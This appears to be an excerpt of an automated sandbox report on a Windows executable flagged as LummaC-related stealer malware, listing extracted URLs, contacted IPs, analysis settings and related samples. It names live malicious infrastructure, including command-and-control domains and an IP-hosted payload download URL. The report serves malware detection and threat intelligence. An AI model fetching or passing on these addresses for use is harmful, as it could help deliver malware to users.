https://community.fastly.steamstatic.com/public/css/promo/summer2017/stickers.css?v=Ncr6N09yZIap&amp	l0zocrLiVW.exe, 00000000.00000003.2189996394.000000000105C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/?subsection=broadcasts	l0zocrLiVW.exe, 00000000.00000003.2189996394.000000000105C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/s	l0zocrLiVW.exe, 00000000.00000003.2369198046.0000000001068000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2314153770.0000000001068000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2478681002.0000000001065000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2331261658.0000000001068000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2479155961.0000000001067000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.linkedin.com/cws/share?url=$	chromecache_90.8.dr, chromecache_111.8.dr	false		high
https://store.steampowered.com/subscriber_agreement/	l0zocrLiVW.exe, 00000000.00000003.2189996394.000000000105C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.gstatic.cn/recaptcha/	l0zocrLiVW.exe, 00000000.00000003.2190017394.000000000101C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/Youssef1313	chromecache_81.8.dr	false		high
https://lev-tolstoi.com:443/apical	l0zocrLiVW.exe, 00000000.00000003.2291533725.0000000000FE9000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0	chromecache_90.8.dr, chromecache_111.8.dr	false		high
https://aka.ms/msignite_docs_banner	chromecache_90.8.dr, chromecache_111.8.dr	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9	chromecache_111.8.dr	false		high
http://polymer.github.io/AUTHORS.txt	chromecache_90.8.dr, chromecache_111.8.dr	false		high
https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml	chromecache_81.8.dr	false		high
http://www.valvesoftware.com/legal.htm	l0zocrLiVW.exe, 00000000.00000003.2189996394.000000000105C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/css/shared_global.css?v=wuA4X_n5-mo0&l=en	l0zocrLiVW.exe, 00000000.00000003.2189996394.000000000105C000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2190017394.000000000101C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.youtube.com	l0zocrLiVW.exe, 00000000.00000003.2190017394.000000000101C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com	l0zocrLiVW.exe, 00000000.00000003.2190017394.000000000101C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://management.azure.com/subscriptions?api-version=2016-06-01	chromecache_90.8.dr, chromecache_111.8.dr	false		high
https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md	chromecache_81.8.dr	false		high
https://aka.ms/pshelpmechoose	chromecache_90.8.dr, chromecache_111.8.dr	false		high
https://aka.ms/feedback/report?space=61	chromecache_81.8.dr, chromecache_76.8.dr, chromecache_112.8.dr	false		high
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	l0zocrLiVW.exe, 00000000.00000003.2189996394.000000000105C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/dsofL6	l0zocrLiVW.exe, 00000000.00000003.2369198046.0000000001068000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2478681002.0000000001065000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2331261658.0000000001068000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2479155961.0000000001067000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	l0zocrLiVW.exe, 00000000.00000003.2189996394.000000000105C000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2190017394.0000000000FCD000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/oi.com	l0zocrLiVW.exe, 00000000.00000003.2212185596.0000000000FD3000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://learn-video.azurefd.net/vod/player	chromecache_90.8.dr, chromecache_111.8.dr	false		high
https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.css?v=-yZgCk0Nu7kH&l=engl	l0zocrLiVW.exe, 00000000.00000003.2189996394.000000000105C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://twitter.com/intent/tweet?original_referer=$	chromecache_90.8.dr, chromecache_111.8.dr	false		high
https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=fe66ET2uI50l&l=englis	l0zocrLiVW.exe, 00000000.00000003.2189996394.000000000105C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcDIgbC	l0zocrLiVW.exe, 00000000.00000003.2189996394.000000000105C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://s.ytimg.com;	l0zocrLiVW.exe, 00000000.00000003.2190017394.000000000101C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/applications/community/manifest.js?v=FRRi	l0zocrLiVW.exe, 00000000.00000003.2189996394.000000000105C000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2190017394.0000000000FCD000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1	l0zocrLiVW.exe, 00000000.00000003.2189996394.000000000105C000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2190017394.0000000000FCD000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/css/buttons.css?v=qhQgyjWi6LgJ&l=english&	l0zocrLiVW.exe, 00000000.00000003.2189996394.000000000105C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/c	l0zocrLiVW.exe, 00000000.00000003.2212325729.0000000001050000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2190017394.000000000101C000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2212185596.000000000100A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/	l0zocrLiVW.exe, 00000000.00000003.2190017394.000000000101C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steam.tv/	l0zocrLiVW.exe, 00000000.00000003.2190017394.000000000101C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/promo/stickers.js?v=CcLRHsa04otQ&l=en	l0zocrLiVW.exe, 00000000.00000003.2189996394.000000000105C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev	chromecache_90.8.dr, chromecache_111.8.dr	false		high
https://github.com/Thraka	chromecache_81.8.dr	false		high
https://lev-tolstoi.com/	l0zocrLiVW.exe, 00000000.00000003.2212185596.0000000000FD3000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2479155961.0000000001067000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2291533725.0000000000FE9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://store.steampowered.com/privacy_agreement/	l0zocrLiVW.exe, 00000000.00000003.2189996394.000000000105C000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2190017394.0000000000FCD000.00000004.00000020.00020000.00000000.sdmp	false		high
http://polymer.github.io/PATENTS.txt	chromecache_90.8.dr, chromecache_111.8.dr	false		high
https://store.steampowered.com/points/shop/	l0zocrLiVW.exe, 00000000.00000003.2189996394.000000000105C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	l0zocrLiVW.exe, 00000000.00000003.2213466317.000000000588A000.00000004.00000800.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2213364976.000000000588D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	l0zocrLiVW.exe, 00000000.00000003.2264090730.000000000586D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://scentniej.buzz/	l0zocrLiVW.exe, 00000000.00000003.2190182676.0000000000FE9000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2190017394.0000000000FE7000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2212406458.0000000000FE9000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2212185596.0000000000FE7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://ocsp.rootca1.amazontrust.com0:	l0zocrLiVW.exe, 00000000.00000003.2264090730.000000000586D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js	chromecache_81.8.dr	false		high
https://schema.org	chromecache_111.8.dr	false		high
http://polymer.github.io/LICENSE.txt	chromecache_90.8.dr, chromecache_111.8.dr	false		high
https://community.fastly.steamstatic.com/public/javascript/modalv2.js?v=zBXEuexVQ0FZ&l=english&a	l0zocrLiVW.exe, 00000000.00000003.2189996394.000000000105C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://sketchfab.com	l0zocrLiVW.exe, 00000000.00000003.2190017394.000000000101C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	l0zocrLiVW.exe, 00000000.00000003.2213466317.000000000588A000.00000004.00000800.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2213364976.000000000588D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://lv.queniujq.cn	l0zocrLiVW.exe, 00000000.00000003.2190017394.000000000101C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/profiles/76561199724331900/inventory/	l0zocrLiVW.exe, 00000000.00000003.2189996394.000000000105C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	l0zocrLiVW.exe, 00000000.00000003.2265210128.0000000005B4B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.youtube.com/	l0zocrLiVW.exe, 00000000.00000003.2190017394.000000000101C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/privacy_agreement/	l0zocrLiVW.exe, 00000000.00000003.2189996394.000000000105C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/skin_1/modalContent.css?v=WXAusLHclDIt&l=eng	l0zocrLiVW.exe, 00000000.00000003.2189996394.000000000105C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/adegeo	chromecache_81.8.dr	false		high
https://community.fastly.steamstatic.com/public/javascript/global.js?v=jWc2JLWHx5Kn&l=english&am	l0zocrLiVW.exe, 00000000.00000003.2189996394.000000000105C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/recaptcha/	l0zocrLiVW.exe, 00000000.00000003.2190017394.000000000101C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://checkout.steampowered.com/	l0zocrLiVW.exe, 00000000.00000003.2190017394.000000000101C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://octokit.github.io/rest.js/#throttling	chromecache_90.8.dr, chromecache_111.8.dr	false		high
https://github.com/js-cookie/js-cookie	chromecache_90.8.dr, chromecache_111.8.dr	false		high
http://185.215.113.16/off/def.exe	l0zocrLiVW.exe, 00000000.00000003.2478681002.0000000001065000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000002.2540165275.0000000001064000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2479155961.0000000001067000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schema.org/Organization	chromecache_81.8.dr	false		high
https://github.com/dotnet/try	chromecache_90.8.dr, chromecache_111.8.dr	false		high
https://store.steampowered.com/;	l0zocrLiVW.exe, 00000000.00000003.2190017394.000000000101C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIV	l0zocrLiVW.exe, 00000000.00000003.2317730851.0000000005847000.00000004.00000800.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2331174894.0000000005847000.00000004.00000800.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2288895904.000000000584E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://store.steampowered.com/about/	l0zocrLiVW.exe, 00000000.00000003.2189996394.000000000105C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf	chromecache_81.8.dr	false		high
https://steamcommunity.com/my/wishlist/	l0zocrLiVW.exe, 00000000.00000003.2189996394.000000000105C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/ms	l0zocrLiVW.exe, 00000000.00000003.2314153770.0000000001068000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://community.fastly.steamstatic.com/public/shared/css/shared_responsive.css?v=JL1e4uQSrVGe&	l0zocrLiVW.exe, 00000000.00000003.2189996394.000000000105C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/0	l0zocrLiVW.exe, 00000000.00000003.2212374027.0000000001018000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2331311970.000000000100A000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2190017394.000000000101C000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2291721409.000000000100A000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2314499110.0000000001018000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000002.2540165275.000000000100A000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2291533725.000000000100A000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2331009146.000000000100A000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2212185596.000000000100A000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2478940920.000000000100A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://help.steampowered.com/en/	l0zocrLiVW.exe, 00000000.00000003.2189996394.000000000105C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/market/	l0zocrLiVW.exe, 00000000.00000003.2189996394.000000000105C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/news/	l0zocrLiVW.exe, 00000000.00000003.2189996394.000000000105C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/	chromecache_81.8.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	l0zocrLiVW.exe, 00000000.00000003.2213466317.000000000588A000.00000004.00000800.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2213364976.000000000588D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://store.steampowered.com/subscriber_agreement/	l0zocrLiVW.exe, 00000000.00000003.2189996394.000000000105C000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2190017394.0000000000FCD000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org	l0zocrLiVW.exe, 00000000.00000003.2189996394.000000000105C000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2190017394.0000000000FCD000.00000004.00000020.00020000.00000000.sdmp	false		high
https://recaptcha.net/recaptcha/;	l0zocrLiVW.exe, 00000000.00000003.2190017394.000000000101C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/discussions/	l0zocrLiVW.exe, 00000000.00000003.2189996394.000000000105C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com:443/api0	l0zocrLiVW.exe, 00000000.00000003.2212406458.0000000000FE9000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2212185596.0000000000FE7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
172.67.157.254	lev-tolstoi.com	United States	13335	CLOUDFLARENETUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
23.55.153.106	steamcommunity.com	United States	20940	AKAMAI-ASN1EU	false
172.217.21.36	www.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.6

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1581624
Start date and time:	2024-12-28 10:02:15 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 39s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	11
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	l0zocrLiVW.exe renamed because original name is a hash value
Original Sample Name:	406a2b6eebda1d06d4e6229dd8c81712.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@24/64@19/6
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 4
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 217.20.58.98, 104.121.21.116, 192.229.221.95, 23.218.210.69, 172.217.19.227, 172.217.19.238, 173.194.220.84, 184.30.22.94, 142.250.181.142, 172.217.17.46, 199.232.210.172, 52.182.143.208, 142.250.181.74, 172.217.17.74, 142.250.181.138, 172.217.19.202, 172.217.19.10, 172.217.21.42, 172.217.17.42, 172.217.19.170, 142.250.181.106, 142.250.181.42, 172.217.19.234, 23.32.238.130, 2.19.198.56, 13.74.129.1, 13.107.21.237, 204.79.197.237, 172.217.17.35, 13.107.246.63, 4.245.163.56, 23.218.208.109
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, c-msn-com-nsatc.trafficmanager.net, clientservices.googleapis.com, browser.events.data.trafficmanager.net, learn.microsoft.com, e11290.dspg.akamaiedge.net, mdec.nelreports.net.akamaized.net, go.microsoft.com, clients2.google.com, ocsp.digicert.com, redirector.gvt1.com, star-azurefd-prod.trafficmanager.net, a1883.dscd.akamai.net, learn.microsoft.com.edgekey.net, update.googleapis.com, onedscolprdcus04.centralus.cloudapp.azure.com, client.wns.windows.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, c-bing-com.dual-a-0034.a-msedge.net, tile-service.weather.microsoft.com, ctldl.windowsupdate.com, learn.microsoft.com.edgekey.net.globalredir.akadns.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, browser.events.data.microsoft.com, edgedl.me.gvt1.com, e13636.dscb.akamaiedge.net, c.bing.com, learn-public.trafficmanager.net, go.microsoft.com.edgekey.net, dual-a
Execution Graph export aborted for target l0zocrLiVW.exe, PID 2736 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
04:03:06	API Interceptor	74x Sleep call for process: l0zocrLiVW.exe modified

LLM Input / Output

Input	Output
URL: https://microsoft.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://microsoft.com
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=l0zocrLiVW.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "This application could not be started", "prominent_button_name": "Yes", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=l0zocrLiVW.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "This application could not be started", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=l0zocrLiVW.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=l0zocrLiVW.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
172.67.157.254	5Z19n7XRT1.exe	Get hash	malicious	LummaC	Browse
	TdloJt4gY3.exe	Get hash	malicious	LummaC	Browse
	726odELDs8.exe	Get hash	malicious	LummaC	Browse
	Tqa1vDp9NT.exe	Get hash	malicious	LummaC	Browse
	YrWaRb0IKJ.exe	Get hash	malicious	LummaC	Browse
	FfcoO2Giru.exe	Get hash	malicious	LummaC	Browse
	k7T6akLcAr.exe	Get hash	malicious	LummaC	Browse
	hx0wBsOjkQ.exe	Get hash	malicious	LummaC	Browse
	fnnGMmd8eJ.exe	Get hash	malicious	LummaC	Browse
	IzDjbVdHha.exe	Get hash	malicious	LummaC	Browse
239.255.255.250	TdloJt4gY3.exe	Get hash	malicious	LummaC	Browse
	726odELDs8.exe	Get hash	malicious	LummaC	Browse
	v5Evrl41VR.exe	Get hash	malicious	LummaC	Browse
	8WFJ38EJo5.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	FLKCAS1DzH.bat	Get hash	malicious	Unknown	Browse
	https://haleborealis.com	Get hash	malicious	Unknown	Browse
	https://www.dropbox.com/scl/fi/lncgsm76k7l5ix7fuu5t6/2024-OK-House-Outreach.pdf?rlkey=o4qr50zpdw1z14o6ikdg6zjt8&st=lrloyzlo&dl=0	Get hash	malicious	Unknown	Browse
	phish_alert_iocp_v1.4.48 - 2024-12-27T140703.193.eml	Get hash	malicious	Unknown	Browse
	http://track.rbfcu.org/y.z?l=https://google.com/amp/s/t.ly/5SpZS&r=14387614172&d=18473&p=2&t=h	Get hash	malicious	HTMLPhisher	Browse
	http://volmar.sinformations.cfd	Get hash	malicious	Unknown	Browse
185.215.113.16	TdloJt4gY3.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	726odELDs8.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	v5Evrl41VR.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	8WFJ38EJo5.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	eYAXkcBRfQ.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	JpzbUfhXi0.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	o0cabS0OQn.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16/mine/random.exe
	738KZNfnzz.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	mDuCbT8LnH.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16/mine/random.exe
	O53VxanH6A.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
lev-tolstoi.com	GHXsFkoroU.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	5Z19n7XRT1.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	TdloJt4gY3.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	3LUyRfIoKs.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	726odELDs8.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	Tqa1vDp9NT.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	YrWaRb0IKJ.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	v5Evrl41VR.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	H1iOI9vWfh.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	8WFJ38EJo5.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	104.21.66.86
s-part-0035.t-0009.t-msedge.net	TdloJt4gY3.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	QfBhv404w4.exe	Get hash	malicious	Phorpiex	Browse	13.107.246.63
	726odELDs8.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	YrWaRb0IKJ.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	v5Evrl41VR.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	HGFSqmKwd5.exe	Get hash	malicious	Unknown	Browse	13.107.246.63
	8WFJ38EJo5.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.63
	FLKCAS1DzH.bat	Get hash	malicious	Unknown	Browse	13.107.246.63
	TbxHhK6lsS.exe	Get hash	malicious	Unknown	Browse	13.107.246.63
	MrIOYC1Pns.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
steamcommunity.com	GHXsFkoroU.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	5Z19n7XRT1.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	TdloJt4gY3.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	3LUyRfIoKs.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	726odELDs8.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	Tqa1vDp9NT.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	YrWaRb0IKJ.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	2S6U7zz1Jg.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	v5Evrl41VR.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	H1iOI9vWfh.exe	Get hash	malicious	LummaC	Browse	23.55.153.106

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AKAMAI-ASN1EU	GHXsFkoroU.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	5Z19n7XRT1.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	TdloJt4gY3.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	3LUyRfIoKs.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	726odELDs8.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	Tqa1vDp9NT.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	YrWaRb0IKJ.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	2S6U7zz1Jg.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	v5Evrl41VR.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	H1iOI9vWfh.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
CLOUDFLARENETUS	GHXsFkoroU.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	TNyOrM6mIM.exe	Get hash	malicious	LummaC	Browse	104.21.2.51
	5Z19n7XRT1.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
